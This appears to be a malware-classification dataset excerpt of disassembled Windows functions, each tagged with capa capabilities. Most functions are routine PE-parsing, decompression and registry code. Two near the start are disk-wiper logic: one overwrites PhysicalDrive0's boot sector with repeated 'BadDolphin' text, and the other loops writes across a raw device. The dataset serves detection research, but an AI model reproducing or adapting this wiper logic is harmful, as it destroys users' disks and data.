joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001290
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x50
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
xor r9d, r9d
mov qword [rsp + 0x30], rbp
xor r8d, r8d
mov dword [rsp + 0x28], ebp
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001390
mov qword [rsp + 0x68], rsi
lea ecx, [rbp + 0x40]
mov edx, 0x1400
mov qword [rsp + 0x70], rdi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov edx, 0x2d4808
mov qword [rsp + 0x20], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, 0x1388
nop word [rax + rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov r8d, 0x1400
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
mov edx, 0x1400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub edi, 1
jne 0x140001340
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x70]
mov rax, rbx
mov rsi, qword [rsp + 0x68]
jmp 0x140001397
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400038a0
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x1400013b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edi, edi
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x44], edi
lea rax, str.BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____BadDolphin____Dolphin
mov dword [rsp + 0x40], edi
lea ecx, [rdi + 3]
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400013f0
mov rcx, qword [rax + 0x70]
xor r9d, r9d
movups xmm0, xmmword [rax]
mov qword [rsp + 0x30], rdi
movups xmm1, xmmword [rax + 0x10]
mov dword [rsp + 0x28], edi
lea r8d, [r9 + 3]
movups xmmword [rdx], xmm0
mov dword [rsp + 0x20], 3
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov byte [rdx + 0x7e], cl
mov edx, 0xc0000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000151c
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov r8d, 0x200
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x9001c
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400038a0
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
Function at 0x140004234
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000427e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000427e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000427e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000427e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000427e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004280
xor al, al
add rsp, 0x28
ret
Function at 0x140008584
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400085ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400085ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400085ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400085ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400085ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400085d0
xor al, al
add rsp, 0x28
ret

Function at 0x14000ed80
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000ebac
Function at 0xf0e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00f0e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0xf0e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xf0e06f
add dl, dl
jne 0xf0e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xf0e0f6
xor eax, eax
add dl, dl
jne 0xf0e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xf0e1ad
add dl, dl
jne 0xf0e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0xf0e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0xf0e07e
mov eax, 1
add dl, dl
jne 0xf0e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xf0e0fb
sub eax, ebx
mov ebx, 1
jne 0xf0e14c
mov ecx, 1
add dl, dl
jne 0xf0e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf0e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xf0e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xf0e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xf0e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf0e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xf0e15d
cmp eax, 0x7d00
jae 0xf0e19b
cmp eax, 0x500
jb 0xf0e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xf0e07e
cmp eax, 0x7f
ja 0xf0e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xf0e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0xf0e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0xf0e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x2fc4db300
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dbd02
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc500108]
test eax, eax
je 0x2fc4dbd9a
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc500110]
mov qword [rbp - 8], rax
jmp 0x2fc4dbd7e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dbd72
cmp qword [rbp - 0x10], 0
je 0x2fc4dbd72
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dbd38
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dbd9b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dbea0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dbec8
mov eax, 0
jmp 0x2fc4dbf16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dbef1
mov eax, 0
jmp 0x2fc4dbf16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dbf11
mov eax, 0
jmp 0x2fc4dbf16
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dbf1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dbf9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dbf91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dbf91
mov rax, qword [rbp - 8]
jmp 0x2fc4dbfaf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dbf64
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4ca920
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cb322
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ef108]
test eax, eax
je 0x2fc4cb3ba
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ef110]
mov qword [rbp - 8], rax
jmp 0x2fc4cb39e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cb392
cmp qword [rbp - 0x10], 0
je 0x2fc4cb392
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cb358
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cb3bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cb4c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cb4e8
mov eax, 0
jmp 0x2fc4cb536
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cb511
mov eax, 0
jmp 0x2fc4cb536
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cb531
mov eax, 0
jmp 0x2fc4cb536
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cb53c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cb5ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cb5b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cb5b1
mov rax, qword [rbp - 8]
jmp 0x2fc4cb5cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cb584
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140006eb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006f02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006f02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006f02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006f02
cmp dword [rcx + 0x84], 0xe
jbe 0x140006f02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006f04
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4db6f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dc0f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc500108]
test eax, eax
je 0x2fc4dc18a
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc500110]
mov qword [rbp - 8], rax
jmp 0x2fc4dc16e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dc162
cmp qword [rbp - 0x10], 0
je 0x2fc4dc162
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dc128
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dc18b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dc290
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dc2b8
mov eax, 0
jmp 0x2fc4dc306
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dc2e1
mov eax, 0
jmp 0x2fc4dc306
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dc301
mov eax, 0
jmp 0x2fc4dc306
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dc30c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dc38a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dc381
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dc381
mov rax, qword [rbp - 8]
jmp 0x2fc4dc39f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dc354
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003060
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
lea rax, [r11 + 0x20]
xor ebx, ebx
mov r9d, 0x20019
mov qword [r11 + 0x20], rbx
xor r8d, r8d
mov qword [r11 - 0x48], rax
lea rdx, str.SYSTEMCurrentControlSetServicesdynabookSettingService
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400030ec
mov rcx, qword [rsp + 0x88]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x80]
lea rax, [rsp + 0x78]
mov dword [rsp + 0x78], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.PreInstall
mov dword [rsp + 0x70], 4
mov dword [rsp + 0x80], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ecx, 1
cmove ebx, ecx
lea rax, str.c:users_scddocumentsmyworkproject__dynabooksystemdriverdsd_for_tos6208_v6dsd_branch_dev_6.01.0029.xxcentennial_rs5dynabookecoserviceecoserver_regguard.cpp
mov dword [rsp + 0x38], 0xab
mov qword [rsp + 0x30], rax
lea r9, str.false
lea rax, str.__IsPreInstallImage_
mov dword [rsp + 0x50], 3
mov qword [rsp + 0x40], rax
lea r8, str.bIsPreInstall
lea rax, [0x1402a214c]
test ebx, ebx
mov qword [rsp + 0x48], rax
lea rdx, str._s___s
lea rax, str.true
cmovne r9, rax
lea rcx, [rsp + 0x30]
call fcn.140008d50
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14000315f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x60
pop rbx
ret

Function at 0x140003170
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov dword [rsp + 8], ecx
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x48]
xor ebx, ebx
mov r9d, 0xf003f
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetServicesdynabookSettingService
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400031e0
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.TransferFlag
mov dword [rsp + 0x40], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400031f0
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x30
pop rbx
ret
Function at 0x140003200
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1402f8c60]
xor rax, rsp
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x38]
mov rdx, rcx
xor ebx, ebx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rbx
mov r9d, 0xf003f
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400032ef
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x34]
xor eax, eax
mov dword [rsp + 0x30], reloc.OLEAUT32.dll_SafeArrayGetElement
mov qword [rsp + 0x68], rax
lea rdx, str.CurrentVersion
mov qword [rsp + 0x70], rax
xor r8d, r8d
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], 1
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400032a5
lea ebx, [rax + 1]
jmp 0x1400032ef
lea rax, str.c:users_scddocumentsmyworkproject__dynabooksystemdriverdsd_for_tos6208_v6dsd_branch_dev_6.01.0029.xxcentennial_rs5dynabookecoserviceecoserver_regguard.cpp
mov dword [rsp + 0x48], 0xf7
mov qword [rsp + 0x40], rax
lea rax, str.__CheckRegIntegrity_
mov qword [rsp + 0x50], rax
lea rax, [0x1402a214c]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], ebx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._GetLastError__08X
lea rcx, [rsp + 0x40]
call fcn.140008d50
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400032ff
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140072680
add rsp, 0x90
pop rbx
ret